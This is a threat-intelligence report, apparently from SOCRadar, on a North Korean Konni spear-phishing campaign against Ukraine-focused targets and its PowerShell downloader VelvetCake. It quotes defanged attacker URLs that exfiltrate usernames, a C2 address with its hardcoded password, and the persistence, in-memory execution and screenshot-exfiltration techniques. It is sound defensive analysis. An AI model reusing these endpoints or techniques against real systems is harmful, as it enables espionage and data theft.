Operation Conflict Compass: Konni Targets Ukraine via Malicious LNK Lures

Since 2009, the Democratic People’s Republic of Korea (DPRK) has fully integrated cyber operations into its national strategy, leveraging state-nexus threat groups to execute cyberespionage, conduct sabotage and influence operations, and generate revenue for state-sponsored nuclear weapons programs.

Recently, the SOCRadar Threat Research Unit (STRU) uncovered Operation Conflict Compass, a targeted campaign by the DPRK-aligned actor Konni, aimed at gathering intelligence on the ongoing trajectory of the Russian invasion of Ukraine.

Initial access was likely established through spear-phishing emails containing ZIP attachments. These archives contained LNK files masquerading as PDFs, using lures focused on global food price growth due to the Strait of Hormuz situation, Russia-Ukraine peace negotiation frameworks, and social researcher resumes to deceive targets.

Execution of these lures leads to the deployment of custom malware that we named VelvetCake. VelvetCake embeds no fixed post-exploitation capability set locally. It operates as a lightweight task runner that continuously retrieves and executes server-side PowerShell modules, allowing operators to modify functionality without redeploying the core payload.

Key Points

• STRU uncovered Operation Conflict Compass, an early August 2026 campaign by the DPRK-aligned group Konni, apparently targeting Ukraine-focused individuals and organizations.
• The campaign likely aimed to gather intelligence on the trajectory of the Russian invasion to gauge the medium-term outlook of the war.
• The actors sent spear-phishing emails containing ZIP archives with malicious LNK files masquerading as PDF documents.
• The deceptive PDF-themed lures centered on global food price growth due to the Strait of Hormuz situation, peace negotiation documents, and social researcher resumes, indicating potential targeting of diplomatic entities, think tanks, and Non-Governmental Organizations (NGOs).
• The malicious LNK files launch a VBScript that establishes persistence via a scheduled task, triggering a PowerShell script to run every minute.
• The invoked PowerShell payload, named VelvetCake, functions as a modular downloader designed to fetch and execute secondary server-side scripts.
• The actors used South Korean and Ukrainian websites for hosting their lures, GitHub for staging their scripts, and Medianewsonline (a free subdomain service) for C2.
• Campaign attribution to Konni is supported by targeting of Ukrainian entities, signature VelvetCake code characteristics, shared C2/staging infrastructure, and threat actor operational time zone alignment.

Background: Konni

Konni (also tracked as TA406 and Opal Sleet) is a DPRK-nexus threat actor primarily tasked with strategic intelligence collection since at least 2014. Operating under North Korea’s General Reconnaissance and Information Bureau (GRIB) unit, the regime’s leading foreign intelligence and military reconnaissance agency.

Konni is assessed to be a subgroup of the broader Kimsuky umbrella. While their operations predominantly target South Korea, the group frequently expands its scope to encompass Japan, Russia, and European nations. Konni focuses on foreign policy, defense, and international diplomatic entities to support Pyongyang’s geopolitical priorities.

The group’s signature tactics include spear-phishing campaigns delivering malicious LNK payloads disguised as legitimate documents, ultimately establishing persistence via scheduled tasks to deploy custom PowerShell loaders and Remote Access Trojans (RATs).

Campaign Overview

In early September 2026, X user @byrne_emmy12099 identified the first sample associated with this campaign. User @JangPr0 later published details on related samples, with C2 domains surfacing as early as August 3, 2026. Based on correlated artifacts collected during analysis, STRU designated this campaign Operation Conflict Compass.

The initial infection vector most likely relies on spear-phishing emails carrying ZIP files, which contain LNK files disguised as PDF documents. These lures leverage socio-economic topics to trick targets into opening them.

Upon execution, the LNK files deploy a custom PowerShell downloader dubbed VelvetCake, which retrieves secondary server-side scripts, and a VBScript that establishes persistence via scheduled tasks that execute VelvetCake every minute.

The attackers also appear to leverage trojanized Zoom installers to deliver the same VelvetCake components. Analysis of a secondary script recovered from the C2 server revealed host enumeration and data exfiltration capabilities.

Lures

The ZIP archives contain LNK files disguised as PDF documents featuring socio-economic themes. Upon execution, the LNK files download the primary payloads alongside a decoy document from remote servers. Specifically, the threat actor hosted lures on Dothome, a popular South Korean web hosting service, and Dofamini, a Ukrainian apparel manufacturer.

Observed lures in spear phishing emails include:

Execution Chain

When triggered, the malicious LNK file executes a PowerShell command to download and store two payloads from a remote GitHub repository into the target’s AppData directory:

• update1.vbs, retrieved from: hxxps[://]raw[.]githubusercontent[.]com/omskiwdcvoiuyfd0998/0ijnbjfke8djfefhkehhdkefkeu90djfkefh/refs/heads/main/LICENSE.
  • This script establishes persistence by creating a scheduled task named OneDriveUpdateScheduler. The task uses explorer.exe to execute update1.ps1 every minute.
• update2.ps1, retrieved from: hxxps[://]raw[.]githubusercontent[.]com/omskiwdcvoiuyfd0998/0ijnbjfke8djfefhkehhdkefkeu90djfkefh/refs/heads/main/okay[.]md.
  • This script is the actual VelvetCake downloader.

Trojanized Zoom Installer & Execution Variants

We observed the same execution chain delivered via a trojanized Zoom installer. This executable bundles the legitimate Zoom installer alongside the two malicious payloads. While the exact distribution vector remains unconfirmed, we assess with moderate confidence that the threat actors convinced targets to download the installer from attacker-controlled infrastructure under the guise of attending a meeting.

In an alternate variant, a standalone executable drops the same VBS persistence script along with a modified PowerShell payload. The PowerShell file does not store VelvetCake on disk. It uses Net.WebClient.DownloadString and Invoke-Expression (iex) to execute the code dynamically in memory directly from the C2 server.

The request transmits the victim’s domain and username via its URL parameters:

• hxxp[://]p1o2i3u4y5t6r7e8w9q0[.]medianewsonline[.]com/login[.]php?OKey=$env:userdomain&Areyou=cake&Who=$env:username

VelvetCake Overview

VelvetCake functions as a one-shot task-queue runner. Upon execution, it establishes a raw TCP socket connection to a remote server, downloads available payload scripts, executes them locally, exfiltrates generated results, purges its artifacts, and terminates.

The VBS script’s one-minute scheduled task provides continuous execution, transforming this batch-style malware into an active, near-real-time tasking framework. VelvetCake keeps little logic on the host itself and relies on server-side scripts retrieved and executed on demand.

More specifically, VelvetCake initiates communication by establishing a raw TCP connection to 111[.]92[.]246[.]145:12345 and authenticates using the command PASSWORD MySecurePass123. Upon successful authentication, it requests an inventory of available files via GET qqq. The script then iterates through files listed by the C2 server, taking specific actions based on regex file-matching patterns:

• Data Files Starting with ddd (^ddd.*.txt$):
  • Downloads matching text files (likely configuration files from the C2) directly into C:UsersPublic.
  • Pauses execution for 1 second.
• PowerShell Scripts starting with qqq (^qqq.*.ps1$):
  • Downloads each PowerShell payload to the %TEMP% directory.
  • Converts the script’s encoding to ASCII, executes it, and sleeps for 500 milliseconds.
  • Monitors C:UsersPublic before and after execution to detect newly created output files.
  • Exfiltrates newly created files back to the C2 server using a custom UPLOAD <filename> command, prepended with a 4-byte header flag (0x12345678).
  • Purges local output files (exempting specific protected files: 1.txt, 2.txt, 3.txt), and then deletes the downloaded payload script.

Once queue processing is complete, VelvetCake sends an EXIT command to terminate the socket session cleanly.

Second-Stage Reconnaissance Script

Analysis of a recovered PowerShell script from the VelvetCake C2 revealed a host enumeration script responsible for system reconnaissance, data collection, screen capture, and exfiltration.

System Reconnaissance & Screen Capture

• Antivirus Inventory: Queries installed security products via the root/SecurityCenter2 WMI namespace.
• System & Network Discovery: Gathers environment details using systeminfo and ipconfig /all.
• User & Process Activity: Enumerates active processes via Get-Process and collects recently accessed files using Get-ChildItem ([Environment]::GetFolderPath(‘Recent’)).
• Storage Mapping: Maps available disk drives using Get-PSDrive.
• Display Capture: Captures a full image of the virtual display leveraging .NET Windows Forms and Drawing assemblies.

Data Exfiltration

• Writes collected system metadata and display captures into timestamped text (.txt) and image (.png) files within %TMP%.
• Exfiltrates the staged files via HTTP POST requests using System.Net.WebClient to: hxxp[://]p1o2i3u4y5t6r7e8w9q0[.]medianewsonline[.]com/logout[.]php?OKey=$env:userdomain&Who=$env:username
• Deletes all local temporary files immediately following successful transmission.

Attribution

STRU assesses with moderate confidence that this campaign is operated by Konni, a North Korean state-sponsored threat group and a subgroup of the broader Kimsuky umbrella. This assessment is based on a combination of targeting, shared infrastructure characteristics, specific operational tradecraft, and distinct operator fingerprints.

Targeting Intent

The campaign’s explicit focus on Ukraine aligns with historical targeting attributed to Konni (and tracked under related industry clusters such as TA406). Konni routinely employs lures centered on high-profile geopolitical topics, in this case leveraging themes related to peace negotiations in the Russia-Ukraine conflict and the crisis around the Strait of Hormuz.

The group frequently adopts think-tank personas, crafts CV lures, and tailors decoy content around Ukrainian domestic and foreign policy matters. Given the lure selection, the primary targets are likely foreign policy think tanks, diplomatic entities, and defense research institutions, aligning with the threat actor’s strategic mandate to gather intelligence on the trajectory of the Russian invasion.

Technical Tradecraft

The VelvetCake payload is delivered via two main vectors: spear-phishing emails carrying malicious LNK files disguised as PDF documents, and trojanized Zoom installers likely used under the guise of scheduling virtual meetings.

Konni’s traditional execution model relies on LNK files dropping document decoys and launching modular VBS script chains, which create persistence via scheduled tasks disguised as legitimate Windows or OneDrive updates before invoking PowerShell payloads. Similar chains have been documented by industry researchers. Packaged software installers are also a known delivery mechanism for the group, as previously observed when Konni bundled its RAT inside Russian consular software installers.

Furthermore, VelvetCake’s unique hardcoded artifacts, such as the plaintext password (MySecurePass123), the static port (12345), and the framing constant (0x12345678), point to a hasty or automated development lifecycle.

This aligns with recent industry reporting on DPRK actors utilizing AI/LLM tools for code generation. In addition, VelvetCake’s architecture of combining a minimalist client with server-side logic mirrors the design philosophy of related Kimsuky toolsets, including the FlowerPower, GitPower, and BabyShark families, where lightweight loaders execute server-side commands and push results back to remote infrastructure.

Infrastructure Overlaps

The delivery infrastructure, including free hosting through medianewsonline, staging via GitHub repositories, and hosting on dothome[.]co.kr, is characteristic of resources broadly shared across the Kimsuky umbrella. Specifically, VelvetCake’s URL formatting on free hosting services, which passes environment parameters (userdomain, username) alongside specific key phrases like cake, closely matches URL patterns identified in previously documented Konni and Kimsuky campaigns:

URL patterns used in different Konni/Kimsuky campaigns

Operator Commit Hours

An analysis of commit timestamps from the operator’s GitHub staging repository reveals that most commits were pushed with a +0900 time zone offset (Korea/Japan Standard Time). Because local Git commits reflect the system clock of the operator’s host machine rather than a platform-enforced time zone, this provides high-confidence evidence regarding the operator’s geographical configuration.

The activity timeline shows working hours concentrated between 09:00-12:00 and 15:00-18:00 UTC+9, consistent with a standard Korean working day featuring a midday lunch break (12:00-15:00 UTC+9). Commit activity occurred throughout the week, including a significant cluster of 10 commits on Sunday, August 30, 2026.

Conclusion

This latest campaign highlights Konni’s continued focus on Ukrainian targets to acquire political intelligence regarding the war situation. Given the DPRK’s ongoing troop deployments to Russia, the regime likely seeks to assess the operational risks facing its forces.

By blending targeted social engineering with multi-stage delivery chains, the group maintains a reliable path into sensitive networks. Their VelvetCake execution chain shows practical flexibility: using short-lived scheduled tasks to drive near-real-time tasking, leveraging legitimate public infrastructure like GitHub for staging, and executing server-side scripts for the desired functionality (e.g., host enumeration).

MITRE ATT&CK TTPs

IoCs

Network Indicators

Host Indicators